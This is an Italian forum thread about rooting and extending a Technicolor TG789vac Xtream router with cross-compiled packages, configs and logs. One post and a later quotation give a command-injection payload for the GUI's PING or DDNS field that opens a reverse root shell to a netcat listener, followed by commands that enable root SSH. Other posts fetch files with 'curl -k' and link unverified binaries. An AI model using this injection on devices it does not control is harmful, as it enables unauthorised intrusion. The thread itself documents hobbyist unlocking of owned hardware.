Il problema che sono diventato matto per produrre qualche pacchetto installabile. Non so da che cosa dipende ma sono passato da AA a BB a CC compilando in tutte le maniere, con diverse versioni di gcc con o senza il supporto NLS, scaricando direttamente da openwrt Il risultato era sempre lo stesso __ctype_b' cannot resolve symbol . Cambiando semplicemente /lib/libuClibc-0.9.33.so tutto il nuovo installato funzionava, il vecchio no.
Alla fine mi sono imbattuto nelle sorgenti del dsl-ac88u con già configurato il toolchain crosstools-arm-gcc-4.6-linux-3.4-uclibc-0.9.32-binutils-2.21-NPTL che avevo installato quando avevo provato iopsys che pur avendo uclibc più vecchio produce pacchetti compatibili.
-
Ciao ragazzi :)
sono riuscito a sbloccare il mio modem (originariamente MOS) e a flashare la versione 214 IAD, mi funziona quasi tutto:
- portante OK
- PPP OK
- fonia OK (ma il LED è sempre spento. Manca su questa board o mi sfugge qualcosa?)
Ciò che proprio non funziona invece è la connessione dai dispositivi, mi dà sempre errore sui DNS e connettività limitata, anche cambiandoli con 8.8.8.8 o 1.1.1.1. Cosa c'è di sbagliato?
Inoltre:
- la piastrella "funzioni extra di sistema" risulta con intestazione "Loading..." e con contenuto "error0undefined" (sia con GUI stable che dev);
- flashando la versione MOS (che devo ancora provare) non compare l'immagine del modem nella corrispondente piastrella.
-
I DNS li cambi sui dispositivi o sul modem?
I dispositivi ricevono il DNS dal modem?
error0undefined dovrebbe essere un errore temporaneo che si può risolvere anche semplicemente aggiornando la pagina
Se non compare l'immagine del modem posta la stringa che compare al posto di quest'ultima
-
Se provo a cambiare i DNS da GUI (nella scheda Rete Locale-Server DHCP) mi ritorna sempre 192.168.1.1, ed anche se li imposto sui dispositivi non funziona ugualmente. Inoltre il range di IP impostato (da 192.168.1.2 a .254) non corrisponde a quello presente in etc/config/dhcp, dove rimane sempre quello originario (cioè da .62 a .252, se non ricordo male).
La stringa che compare al posto dell'immagine del modem è Technicolor TG789vac Xtream_MOS con una piccola x sulla sinistra (o qualcosa di molto simile).
Riguardo error0undefined rimane tutto invariato anche aggiornando la pagina e dopo svariati reset/reflash delle due versioni della GUI e delle due varianti FW.
-
Che tipo di connessione (di che ISP) hai configurato?
Hai usato solo le schede broadband e internet senza passare dal wizard?
-
Infostrada, quindi PPPoE con benvenuto/ospite e VID 835. Il tutto fatto dalle due piastrelle della GUI con qualche correzione a mano in etc/config/network (il VID 835 su wanptm0 che non c'era e non mi rilasciava l'IP) e per la chiusura delle chiamate in /etc/config/mmpbxbrcmfxsdev.
Connessione PPP e fonia funzionano normalmente (a meno del LED del VoIP sempre spento).
-
Quindi hai spento il wansensing? Il VLAN ID non riuscivi a settarlo da broadband?
La comunicazione tra dispositivi della LAN riesci a farla? Nelle rotte IPv4 c'è quella di default quando la pppoe va online?
-
Ho spento il wansensing e messo a mano VDSL2 e PPPoE routed. Per quanto riguarda il VLAN ID risultava attivo da Broadband ma non ottenevo l'IP, se lo spegnevo e riaccendevo dal "tasto" iniziava a funzionare (come ha scritto anche un altro utente qualche pagina fa).
Cosa deve esserci nelle rotte per funzionare? La LAN credo funzioni normalmente.
-
Aggiornamento: col FW MOS funziona tutto senza cambiare nessun'altra impostazione. :huh:
Ho solo cambiato in "Opzioni rilevamento ISP" da Generico a TIM (Italia), può dipendere da quello il fatto che ha iniziato a funzionare? Secondo voi c'era qualcosa di bloccato a livello firewall o dipendeva dal FW IAD "indigesto"? Gli altri due bug (la mancanza dell'immagine del modem e la piastrella "funzioni extra di sistema") sono tuttora presenti.
p.s. Riguardo il LED VoIP che proprio non si accende (nonostante il funzionamento regolare dei servizi) devo rassegnarmi e pensare che non c'è fisicamente sulla board? :D Sarebbe anche comprensibile, dato che è nato MOS, ma mi sembra così strana come "castrazione"...
-
Ciao @lorenzocanalelc
Il problema che sono diventato matto per produrre qualche pacchetto installabile.
Purtroppo le mie conoscenze sono limitate in campo di sorgenti e compilazione. Da quel che ho capito quindi con questi sorgenti del DSL-AC88U sei riuscito a creare pacchetti digeriti dall'Xtreme o non ho capito niente?
-
Hai capito perfettamente. Il problema è che impiantato su openwrt 12.09. I pacchetti sono vecchiotti ma si possono aggiornare procedendo per gradi. Essendo rimaneggiato a volte non genera le dipendenze e bisogna intervenire a mano. Mi sembra di essere tornato alla debian potato.
Questo è quello ho generato fino ad ora
https://termbin.com/ig20
-
@gfast il led credo ci sia, piu' probabile ci sia qualche bug software
controlla con ls /sys/class/leds/, teoricamente echo 255 > /sys/class/leds/voip\:green/brightness dovrebbe accenderlo forzatamente
'icona verra poi sistemata nelle prossime versioni anche su MOS... mentre per internet che non va su IAD la cosa e' strana, ipotizzando qualcosa immagino ci sia roba software che blocca la connessione se il provisioning non si completa (e c'e la flag da settare in qualche file di configurazione per bypassare... ma a questo punto se MOS funziona, e non ci sono altre limitazioni, chissenefrega)
-
Alcuni pacchetti installabili raggruppati per dipendenze. nano-htop, sftp-server, wget (togliere il link a busybox /usr/bin/wget altrimenti dà errore), aria2, transmission. Per gli ultimi 2 vale il discorso per il TG789vacV2: si può pensare a qualche cosa tipo il pacchetto sharing perché lo spazio sulla nand è lo stesso.
https://anonfile.com/5aK2c0N3n6/pacchetti_zip
Per ora accontentiamoci ad una installazione a blocchi, tanto per testare i pacchetti. In un futuro si può pensare anche ad un piccolo repo da mettere su usb.
-
Io adoro le installazioni a blocchi
-
Lato GUI, si può fare come si è fatto per gli altri dispositivi, repo anche su github e script vari per l'install (o l'ipk che sarebbe meglio come avevo iniziato a fare per la vpn...)
-
Per ora la situazione è questa:
https://termbin.com/hb0a
Chissà se installando kmod-tun si riesce a far funzionare openvpn. Strongswan /minimal/default l'ho forzato per farlo venire giù eliminando le dipendenze già presenti sul router. Bisognerebbe intervenire a monte prima della compilazione iniziale, ma serve tempo e competenze. Il tempo si trova, per le competenze ... purtroppo sono gnurante.
-
@gfast il led credo ci sia, piu' probabile ci sia qualche bug software
controlla con ls /sys/class/leds/, teoricamente echo 255 > /sys/class/leds/voip\:green/brightness dovrebbe accenderlo forzatamente
'icona verra poi sistemata nelle prossime versioni anche su MOS... mentre per internet che non va su IAD la cosa e' strana, ipotizzando qualcosa immagino ci sia roba software che blocca la connessione se il provisioning non si completa (e c'e la flag da settare in qualche file di configurazione per bypassare... ma a questo punto se MOS funziona, e non ci sono altre limitazioni, chissenefrega)
Con la GUI dev 9.5.12 è puntualmente apparsa l'immagine del modem! ;)
Confermo che con il comando che mi hai segnalato il led VoIP si accende, quindi come ben pensavi è solo un bug software che sono certo verrà scovato quanto prima...così come quello della piastrella "funzioni extra di sistema". :D
-
riesci a postare il file /etc/config/system e magari anche un logread | grep error fatto da ssh dopo che hai aperto la GUI e ricevuto l'errore di undefined
per bug specifici della GUI andiamo nel thread dedicato https://www.ilpuntotecnico.com/forum/index.php/topic,81461.255.html
-
Ecco etc/config/system
config system
option timezone 'CET-1CEST,M3.5.0,M10.5.0/3'
option gui_timezonename 'CET-1CEST,M3.5.0,M10.5.0/3_timezone_Europe/Rome'
option zonename 'Europe/Rome'
option network_timezone '1'
option cronloglevel '5'
option hostname 'Technicolor TG789vac Xtream 35b'
config timeserver 'ntp'
option enable_server '1'
option program '/sbin/firstusedate'
list server 'ntp1.inrim.it'
list server 'ntp2.inrim.it'
config config 'config'
option export_plaintext '0'
option export_unsigned '0'
option import_plaintext '1'
option import_unsigned '0'
option usb_filesystem_charset 'utf8'
option rooted '1'
option import_restricted '0'
config coredump
option path '/root'
option action 'ignore'
option reboot '0'
config log 'logread'
option path 'logread'
e logread | grep error
logread I grep error Apr 28 09:58:43 Technicolor TG789vac Xtream 35b daemon.err nginx: 2019/04/28 09: 58:43 [error] 4495#0: *12 lua entry thread aborted: runtime error: /usr/lib/lua/ web/taint.lua:280: bad argument #4 to 'format' (string expected, got no value) s tack traceback: coroutine 0: [C]: in function 'format' /usr/lib/lua/web /taint.lua:280: in function </usr/lib/lua/web/taint.lua:268> (tail call): ? [ string "091_system.lp"]:97: in function 'content' /usr/lib/lua/web/lp.lua: 176: in function 'include' /www/docroot/ajax/get_card.lua:18: in function ' content' /usr/lib/lua/web/web.lua:268: in function 'process' content_ by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client : 192.168.1.46, server: localhost, request: "GET /ajax/get_card.lua?modal=/modal s/system-modal.lp HTTP/1.1", host: "192.168.1.1", referrer: "http://192.168.1.1/"
:)
-
Pacchetto di prova per strongswan:
https://anonfile.com/Td06WeN1n2/strongswan_zip
L'installazione va a buon fine, bisogna testare l'effettivo funzionamento.
strongswan richiede ipset e modprobe che non sono presenti nel router. Per modprobe copiare busybox presente nell'archivio in una posizione non eseguibile p.es. /lib e creare un link a /usr/sbin/modprobe. libopenssl è bacata e deve essere aggiornata con i pacchetti presenti nell'archivio.
Installato il tutto si può lanciare il setup.sh per la configurazione e generazione delle chiavi, gentilmente offerto da @FrancYescO
Ho aggiunto anche modgui-vpn e xl2tpd. Non sono indispensabili ai fini del test ma se li si vuole installare bisogna farlo insieme agli altri con opkg install *.ipk e non dopo altrimenti si ha errore di tentata sovrascrittura.
Speriamo bene.
P.S. Non ho capito se è meglio iad o mos.
-
Ho provato ad eseguire Strongswan sul mio che però si trova sotto PPPoE relay, il software gira perfettamente, l'handshake va a buon fine, ma il client non riesce a connettersi, ma potrebbe essere un problema relativo alla mia personale configurazione (che non è pensata per avere un IP Pubblico).
Questo è il logread
Jan 18 20:39:48 OpenWrt daemon.info syslog: 15[ENC] generating IKE_AUTH response 1 [ IDr CERT AUTH CPRP(ADDR DNS) SA TSi TSr N(AUTH_LFT) N(MOBIKE_SUP) N(ADD_4_ADDR) ]
Jan 18 20:39:48 OpenWrt daemon.info syslog: 15[NET] sending packet: from xxxx1[4500] to xxxx[39062] (1440 bytes)
Jan 18 20:39:52 OpenWrt daemon.info syslog: 03[NET] received packet: from xxxx[39062] to xxxx[4500] (1600 bytes)
Jan 18 20:39:52 OpenWrt daemon.info syslog: 03[ENC] unknown attribute type (25)
Jan 18 20:39:52 OpenWrt daemon.info syslog: 03[ENC] parsed IKE_AUTH request 1 [ IDi CERT N(INIT_CONTACT) IDr AUTH CPRQ(ADDR MASK DHCP DNS ADDR6 DHCP6 DNS6 (25)) N(ESP_TFC_PAD_N) N(NON_FIRST_FRAG) SA TSi TSr N(MOBIKE_SUP) ]
Jan 18 20:39:52 OpenWrt daemon.info syslog: 03[IKE] received retransmit of request with ID 1, retransmitting response
Jan 18 20:39:52 OpenWrt daemon.info syslog: 03[NET] sending packet: from xxxx[4500] to xxxx[39062] (1440 bytes)
Jan 18 20:40:00 OpenWrt daemon.info syslog: 16[NET] received packet: from xxxx[39062] to xxxx[4500] (1600 bytes)
Jan 18 20:40:00 OpenWrt daemon.info syslog: 16[ENC] unknown attribute type (25)
Jan 18 20:40:00 OpenWrt daemon.info syslog: 16[ENC] parsed IKE_AUTH request 1 [ IDi CERT N(INIT_CONTACT) IDr AUTH CPRQ(ADDR MASK DHCP DNS ADDR6 DHCP6 DNS6 (25)) N(ESP_TFC_PAD_N) N(NON_FIRST_FRAG) SA TSi TSr N(MOBIKE_SUP) ]
Jan 18 20:40:00 OpenWrt daemon.info syslog: 16[IKE] received retransmit of request with ID 1, retransmitting response
Jan 18 20:40:00 OpenWrt daemon.info syslog: 16[NET] sending packet: from xxxx[4500] to xxxx[39062] (1440 bytes)
-
Su questo non non so cosa dire non sono esperto in materia, l'importante che non manda in pappa il sistema. Attendiamo gli esperti.
Il tempo di saldare la seriale e provo l'installazione di openwpn.
-
@larsen64it per openvpn, senza che saldi la seriale, basta che prendi il modulo tun.ko da dentro l'ipk, lo copi in /tmp e fai insmod tun.ko, a quel punto per capire se il modulo funziona o meno basta che usi il comando ip tuntap add mode tun tun0 (o analogo per tap), se si riavvia significa che è andato in kernel panic, ovviamente al riavvio quel modulo non c'è più. Se invece lo installi con l'ipk e non funziona, e openvpn parte in automatico al riavvio, ti va in bootloop.
Per modprobe, non ce n'è bisogno, basta che usi insmod come faceva nelle versioni precedenti. Al secondo post di questa pagina ci sono un paio di patch da applicare a strongswan per far si che usi insmod e per sistemare l'inclusione dei file config di default nei pacchetti (quest'ultima potrebbe già essere fixata in strongswan 5.2.2, ma controlla.
https://forum.archive.openwrt.org/viewtopic.php?id=51714
-
@LuKePicci grazie per la dritta. Pacchetto per l'uso di insmod
https://anonfile.com/t2z2f4Oenc/strongswan-insmod_zip
In realtà ho visto che la patch 201-kmodloader è sempre stata presente con rifermento al solo modprobe, almeno quelle che ho visto andando a ritroso.
Poi vi racconto della barzelletta di kmod-tun.
P.S. busybox può tornare utile magari se manca qualche comando
Non mi avete risposto sul fatto se è meglio iad o mos.
@FrancYescO Ho sempre l'errore di Funzioni extra di sistema del loading continuo.
https://termbin.com/by12
-
P.S. busybox può tornare utile magari se manca qualche comando
Anche lo spazio libro nell'overlay può tornare utile
-
Come promesso un piccolo repo con pacchetti compatibili:
https://anonfile.com/5bPcCbOcn3/packages_zip
Per aria2 e transmission avrei voluto fare qualche cosa di simile al pacchetto sharing per il 789V2 ma il router non risponde ai script di avvio (forse manca qualche comando di busybox, magari mettendola su usb si riesce a fare. Lo spazio su nand e la memoria è la stessa del 789V2... poco). I pacchetti sono stati "truccati" in modo da eliminare dipendenze che andrebbero a incasinare il router. Openssl è la stessa del router ma è stata truccata in modo da favorire l'aggiornamento in quando libopenssl presente non permette l'avvio di openssl. I pacchetti sono stati testati ad eccezione di nut e xupnpd in quanto non ho avuto tempo. Ho eliminato molti pacchetti non installabili (kmod e altro).
Pacchetti installabili: nano htop wget transmission strongswan sane nut xupnpd
Per ora è tutto in quanto il toolchain che ho no mi permette di fare molto di più, ed essere arrivato fino a questo punto mi sembra un mezzo miracolo.
Spero che il tutto serva e sia di gradimento.
Con ossequi
Larsen
-
Altro pacchetto di prova per strongswan.
https://anonfile.com/B8v2A9Q8nb/install_zip
I pacchetti sono stati generati da chaos calmer e questo mi ha permesso di generare i moduli per il kernel. Come contro l'installazione è un poco più complicata:
1) Sostituire momentaneamente functions.sh in /lib altrimenti l'installazione fallisce.
2) Installare il contenuto di openssl
3) installare il contenuto di ipset ***
4) Installare il contenuto di strongswan
5) Copiare i file mancanti di strongswan.d
6) Ripristinare /lib/ functions.sh originale IMPORTANTE ALTRIMENTI AL PROSSIMO RIAVVIO SI INNESCA IL FAIL BOOT
7) Lanciare il setup
*** Se si installato il pacchetto precedente di strongswan, forse basta questo per il corretto funzionamento e semplificherebbe non poco l'installazione.
Resto in attesa di feedback.
P.S. Con l'occasione guardate in giro le altre configurazioni es. /etc/hosts lo ho dovuto modificare aggiungendo l'ip del router
192.168.1.254 openwrt
altrimenti lo scanner non mi funzionava in rete.
-
Perché un altro pacchetto? Quello di prima alla fine a me funzionava perfettamente (Avevo un problema di MTU a monte, non c'entrava il tg789 xtreme)
-
P.S. Con l'occasione guardate in giro le altre configurazioni es. /etc/hosts lo ho dovuto modificare aggiungendo l'ip del router
192.168.1.254 openwrt
altrimenti lo scanner non mi funzionava in rete.
Scusa ma che avevi come hostname in /etc/config/system ??
-
hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
system
option hostname 'OpenWrt'
Il problema che se non lo modificavo i link presenti sulla gui mod non funzionano.
@lorenzocanalelc
Che tu sia stramaledetto queste notizie non le rendi pubbliche.
P.S. meglio così tanto sbattimento in meno. Il problema che ipset vuole kmod-ipt-ipset che nel router non è presente. Ma se funziona ok. Forse con questo migliorano le prestazioni essendo compilato come si deve.
kmod-tun -> kaputt
-
Ero convinto di averlo scritto, ops...
Comunque come prestazioni quello di prima non era neanche male (20 Mega circa down/up mi pare, devo ricontrollare)
-
Dont worry. Essendo cosa nuova per me avendo 2 mezzi toolchain forse ne riesco a fare uno funzionante. Fatto il grosso non resta che impacchettare le varie possibili app, qualche suggerimento?
-
Aggiunto qualche file al mini-repo:
https://anonfile.com/lf46o8X7ne/packages_zip
Questa è la lista dei pacchetti:
https://termbin.com/b6x9
Edit update 29 Gennaio 2020
Edit 2 update 2 01 Febbraio 2020 Aggiunto amule, asterisk 13/18
Edit 3 update 3 Corretti alcuni pacchetti ed aggiornati altri
-
Test strongswan 5.5.1
https://anonfile.com/3eRbVcT8n3/strongswan-5.5.1_zip
-
Procedura semplificata per lo sblocco:
Mettere netcat in ascolto
nc -lvvp 1337
Se il firmware è vulnerabile sul campo PING inserite la seguente stringa
:::::::; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC 1337 >/tmp/f &Se il firmware è vulnerabile sul campo DDNS inserite la seguente stringa
www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC 1337 >/tmp/f &Attendere un attimo e su netcat apparirà la shell #
sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.@coredump[0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart
Fatto
Con l'occasione ho aggiornato la lista pacchetti.
-
Ma scusa AutoFlashGUI da solo non ci riesce? (Generic Ping/Generic DDNS) ?
PS: c'è del bbcode rimasuglio nel comando di sblocco dove disabiliti coredump
-
Grazie meglio di così non mi viene.
Ti rispondo da quel ignorantone che sono, non ho mai usato AutoFlashGUI per nessun router, ma credo che funzioni visto che sono comandi standard.
-
Manco io l'ho mai usato eheheh
Però devo a breve aggiungere anche questo modello sulla wiki internazionale e tra i metodi già documentati c'è AFG quindi mi viene comodo indicare quello.
-
Bug fix per la configurazione di samba e pianificazione wireless (tod) della gui + attivazione wifi guest (sostituite bla bla bla con i vostri dati).
https://anonfile.com/r5laocWfn7/config.tar_gz
Bug fix miniupnpd in quanto per alcuni programmi (emule) non funziona. Fate una copia di /usr/sbin/miniupnpd-igdv1 e miniupnpd-igdv2 e sostituitelo con il seguente file e rinominatelo come i 2 file sostituiti. Si potrebbe fare anche un fix come sui dga.
https://anonfile.com/1bl4o5Wan4/miniupnpd
Attenzione al minidlna: in sede di inizializzazione potrebbe cancellare il contenuto del supporto.
A questo punto questo router può/potrebbe vantare gli stessi strumenti e app di tutti gli altri router tch, luci a parte (per quello che serve).
-
Una volta ottenuto accesso root sul TG789vac Xtream 35b Fastweb con firmware Jade, è possibile bypassare la GUI dell'operatore e impostare parametri di un altro operatore? L'utility di Ansuel AGTEF unlocker si blocca con l'avviso che non è possibile ultimare la procedura. E resta la GUI originale.
Sicuramente sarà già stato spiegato .... ringrazio per le istruzioni relative all'ottenimento dell'accesso root, la procedura ha funzionato benissimo.
-
La fui funziona bene con l'ultimo firmware disponibile 16.2.8706 iad o mos che sia.
Per installarla non si usa l'unlocker AGTEF, ma come su tutti gli altri technicolor.
Se off line scarica la gui e mettila in /tmp
Se on line
curl -k https://raw.githubusercontent.com/Ansuel/gui-dev-build-auto/master/GUI_dev.tar.bz2 --output /tmp/GUI_dev.tar.bz2
Poi i tutti i due i casi
bzcat /tmp/GUI_dev.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice debug
-
Grazie larsen64it, appena posso provo e comunicherò risultato. Quando i miei amici che cambiano operatore dicono 'buttare via' le mie orecchie intendono 'recuperare' e con l'ausilio vostro in genere si riesce a 'recuperare' un buon muletto.
-
Non lo dire a me. Più vecchio è e meglio è, io in primis... anche se c'è poco da recuperare.
-
@larsen64it credo che nella prima variante del comando manchi la porta 1337 proposta subito prima
Mettere netcat in ascolto
nc -lvvp 1337
Se il firmware è vulnerabile sul campo PING inserite la seguente stringa
:::::::; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC >/tmp/f &...
-
Corretta anche questa grazie... eppure l'avevo appena detto.
Più vecchio è e meglio è, io in primis... anche se c'è poco da recuperare.
-
Eseguito alla lettera, ma al riavvio dopo iniziale logo Technicolor e richiesta credenziali (admin/admin, se provo deliberatamente altre credenziali mi da giustamente errore) dopo la verifica delle stesse, entro in una schermata da cui non posso fare nulla. Le tiles configurazione guidata, schede etc . non si aprono. Riproverò intera procedura.
P.S.: il tasto reset non funziona più.
-
L'importante che sei con l'ultimo firmware con quelli vecchi la gui non funziona. Probabile che si sia incasinato con l'unlocker.
Per fare il "reset" basta che cancelli la cartella /overlay/bank_1 (sei in bank_1 vero?)
Prima pero prova con router on line ha dare il comando upgradegui per vedere se le cose cambiano.
-
Ho interrotto e spento router quindi ricomincio da zero con netcat e via dicendo. Mi sembra di aver visto durante la precedente procedura che abbia effettuato uno switch sul bank 2, ma devo appunto ripartire e verificare. Se ci riesco.
-
Ho uplodato un po di lavoro di @larsen64it su github tra qui https://github.com/FrancYescO/sharing_tg789/tree/aria2-xtream e https://github.com/FrancYescO/789vacv2_opkg/tree/xtream35b ... inoltre ho aggiunto le due app sull GUI, sono andato molto alla cieca quindi sono ben accetti conferme riguardo il funzionamento del tutto su cui sono poco fiducioso, scommetto il primo problema da affrontare e' il wget che non prende url https...
-
Da quando ti avevo spedito il tutto forse ho fatto qualche modifica, devo controllare. Per wget vado a memoria, bisogna installare wget e ca-certificates_20161130+nmu1_all.ipk. In sede di installazione ca-certificates da errore per tentata sovrascittura di 2 certificates, cancellateli e ripetete l'installazione.
N.B. Non tutti i pacchetti sono testati asterisk in primis. Oscam probabilmente non funziona: troppa differenza tra le libusb usate. Amule spesso e volentieri va in crash, ne ho provato 4 versioni dalla 2.3.2 alla 2.2.6 sempre meglio ma non ok.
Le app vanno installate con una sola usb inserita, fate attenzione prima a come viene montata l'usb se /mnt/usb/nome_del_dispositico è ok tipo /mnt/usb/Kingston_DT101G2_1_0353, se il percorso è più lungo bisogna intervenire a mano.
Funzionanti ho meno ringrazio/mo @FrancYescO per l'ospitalità e disponibilità.
-
Appena qualcuno riesce a provare teoricamente dovrebbe bastare (per poter riuscire a fare opkg update senza errori)
curl -k https://raw.githubusercontent.com/FrancYescO/789vacv2_opkg/xtream35b/packages/wget_1.17.1-1_brcm63xx-tch.ipk
opkg install /tmp/*.ipk[ You must login or register to view this spoiler! ]
anche se personalmente proverei a fare un bellissimo accrocchio wrappando wget e redirigendolo a un curl -k per questa questione (piu' che altro perche' permetterebbe un'installazione offline della GUI senza la necessita' di embeddare pacchetti..)
-
L'errore di ca-certificate è lo stesso che si ottiene sul dga-4131
https://www.ilpuntotecnico.com/forum/index.php/topic,80598.msg257880.html#msg257880
Comunque visto che hai aggiornato la gui, oggi resetto tutto e riparto da 0.
-
Magari testa anche lo sblocco con AFG Che potrebbe tornare utile ad altri ;)
-
Ringrazio larsen64it, ma la GUI che mi ha indicato continua a dare errori ed a essere inservibile. Ho ripristinato interfaccia originale e provato più volte.
Il router così come è ora accetta i firmware firmati del repository e permette sia l'upgrade che il downgrade. Il lavoro di FrancYescO mi può tornare utile?
-
Quello che ho fatto sopra presume di avere la GUI funzionante, se non lo è quasi sicuramente è a causa del firmware che hai ... Che errori hai?
-
Ho funzionante la GUI Fastweb. Fino al root tutto ok, ma se provo a caricare la GUI suggeritami da larsen64it quando riparte ho: 1-il nulla se uso chrome 2-qualche tile corrotta se uso edge (che detesto). Insistendo un pò tra reset e accensioni/spegnimenti in qualche modo si ritorna alla GUI originale, evidentemente ricopiata dal bank 2 sul bank 1 da cui parto per eseguire tutta la procedura. Evidentemente non sono al Vostro livello di capacità per riuscire nell'impresa, è un miracolo che non lo abbia mandato in 'brick of death'. Dalla sua interfaccia di aggiornamento firmware ho caricato senza errori il 16.2.8706_FW_214_MOS_TG789vacXtream.rbi, in origine c'era il 16.2.7825-2349001-FW_212-IAD_TG789vacXtream, ho verificato che permette sia di upgrade che downgrade purchè ovviamente siano i firmware ufficiali. Mio scopo sarebbe di poter avere accesso ai parametri di programmazione dell'ADSL / VDSL per avere un muletto per prove varie sul campo.
-
Step 1 AFG
(https://i.ibb.co/R6zzR3K/afg.png) (https://ibb.co/GMcczWD)
Funziona selezionando Generic (Advanced DDNS) ed impostando i campi come da foto. Spuntando "Capisco che il comando...." in modo da poter modificare il servizio DDNS con dyndns.org, "Dividi il comando..." si può anche non spuntare: accetta il comando per intero ed è più veloce.
IMPORTANTANTE: come nome utente bisogna inserire l'utente che vi permette di entrare nella gui del router, Administrator o fasteweb.
@andrewred Prova la versione soft : cancella le cartelle bank_1 bank_2 e riparti da zero. Cerca di avere la stessa versione su entrambe le banks
-
Step 2 REPOSITORY
@FrancYescO
In realtà basta installare wget per poterli scaricare.
curl -k https://raw.githubusercontent.com/FrancYescO/789vacv2_opkg/xtream35b/packages/wget_1.17.1-1_brcm63xx-tch.ipk --output /tmp/wget_1.17.1-1_brcm63xx-tch.ipk
opkg install /tmp/*.ipk
-
Anche se wget non riusciva a scaricarli ti ha aggiunto correttamente i feed in fase di installazione?
Fammi sapere invece riguardo le app da GUI
-
Sì il feed è corretto.
-
@larsen64it c'è un qualche tipo di filtro sui valori possibili come dominio del DDNS? Sulle altre varianti selezionabili vedo dyn.com e dyndns.com mi fai sapere se quelle funzionano? (non c'è bisogno di fare reset, mi basta che riesegui un comando di reboot al posto di quelli dello sblocco)
-
@LuKePicci Te lo dico al volo senza fare prove... non funzionano avevo già provato appunto.
-
Mi posti da qualche parte il contenuto di /etc/ddns/services ? Probabile che ai tempi di questo firmware non ci fossero ancora disponibili i nuovi domini. Il vecchio dovrebbe funzionare anche su altri dispositivi più nuovo quindi lo cambio su dyndns,org di default.
-
https://termbin.com/tq55
-
Vabbè, chissà perchè gli altri non li prende. Amen.
-
Una cosa è sicura è diverso dagli altri. Comunque prevedo vari reset in questi giorni e ti faccio sapere se scopro qualche cosa.
-
L'ho trovato. Questo qui ha la lista di servizi ddns disponibili in un file a parte, /usr/lib/ddns/services, e li in effetti quegli altri che hai provato mancano. A posto allora, giusto il tempo di far accettare la PR e il nome del servizio di default andrà bene.
-
@andrewred Prova la versione soft : cancella le cartelle bank_1 bank_2 e riparti da zero. Cerca di avere la stessa versione su entrambe le banks
Non capisco ... e quindi perdona la mia ignoranza. Se cancello ambedue le cartelle bank_1 e bank_2 come riparto se non c'è più un firmware caricato?
-
Ho detto le cartelle non le partizioni:
root@openwrt:~# cat /proc/mtd
dev: size erasesize name
mtd0: 08000000 00020000 "brcmnand.0"
mtd1: 02c60000 00020000 "rootfs"
mtd2: 01f20000 00020000 "rootfs_data"
mtd3: 02e60000 00020000 "bank_1"
mtd4: 02e60000 00020000 "bank_2"
mtd5: 00020000 00020000 "eripv2"
mtd6: 00040000 00020000 "rawstorage"
root@openwrt:~# ls -la /overlay
drwxr-xr-x 5 root root 0 Jan 1 1970 .
drwxr-xr-x 1 root root 0 Apr 28 2019 ..
drwxr-xr-x 12 root root 0 Apr 28 2019 bank_1
drwxrwxrwx 7 root root 0 Apr 28 2019 bank_2
root@openwrt:~#Come vedi mtd3 e 4 solo le partizioni con 2 versioni del firmware e non devono essere toccate.
Mentre in /overlay ci sono 2 cartelle che si chiamano come le partizioni in cui sono stipate tutti i settings e la roba installata tipo la gui.
Ora per fare reset "soft" basta cancellare le 2 cartelle e spegnere e riaccendere da pulsante di accensione o fare un reset "hard" con il comamando mtd erase -r rootfs_data (in mtd2 c'è stipato tutto l'overlay) dove -r sta per riavvia, quindi dato il comando non bisogna fare altro che aspettare.
-
Ti ringrazio larsen64it, proverò quando avrò un pò di tempo a disposizione.
-
Dopo una pausa a causa di altri impegni, ho seguito nuovamente e da zero le istruzioni suggeritemi e devo concludere che la GUI viene caricata ma non funziona: la schermata di login si presenta con il logo Techicolor, le credenziali di accesso sono diverse (admin/admin invece di fastweb/ (campo vuoto)) ma la schermata successiva è vuota. Pertanto è inutilizzabile.
Resettandolo più volte ricarica la configurazione originale. Grazie a tutto il forum.
-
La schermata vuota dopo il login (admin/admin) succedeva con i firmware più vecchi non con l'ultimo disponibile
Product: vbnt-f_fastweb_r16-2-a
Release: Jade (16.2)
Version: 16.2.8706-3401002-20190430095635-7b7c7647291129d98ea436c767d61bebd6ea5151Stai usando l'ultima DEV disponibile?
curl -k https://raw.githubusercontent.com/Ansuel/gui-dev-build-auto/master/GUI_dev.tar.bz2 --output /tmp/GUI_dev.tar.bz2
bzcat /tmp/GUI_dev.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice debugPrima di resettare entra come root e con internet attivo dai il seguente comando
upgradegui
-
Mi sono trascritto il Tuo suggerimento, Internet attiva? Sono su una normalissima adsl Tim. Riproverò. Grazie, ciao!
-
Nel senso che devi avere la connessione.
Se non riesci ha configuralo per l'adsl tim è così
/etc/config/network
....
config interface 'wan'
option reqopts '1 3 6 15 33 42 43 51 121 249 212'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option proto 'pppoe'
option username 'timadsl'
option peerdns '1'
option password 'timadsl'
option ifname 'atmwan'
option auto '1'
....
config config 'config'
option wan_mode 'pppoe'
...
/etc/config/xtm
config ptmdevice 'ptm0'
option priority 'low'
config atmdevice 'atmwan'
option ulp 'eth'
option vpi '8'
option vci '35'
option path 'fast'
option enc 'llc'
-
Ciao ragazzi, non so come sia successo, forse un ripristino ad impostazioni di fabbrica andato male...
Il mio modem non riparte, non mi da più neanche l'ip tramite dns, e si riavvia da solo.
Ho rifatto l'upload del firmware 16.2.8706_FW_214_MOS_TG789vacXtream.rbi con tftpd64 con successo, ma non è servito a nulla.
Pensate che ci sia qualche speranza di ripristinarlo, o lo devo buttare?
-
tasto reset in momenti e tempi diversi sperando che prenda il reset o failboot se il secondo bank era pulito.
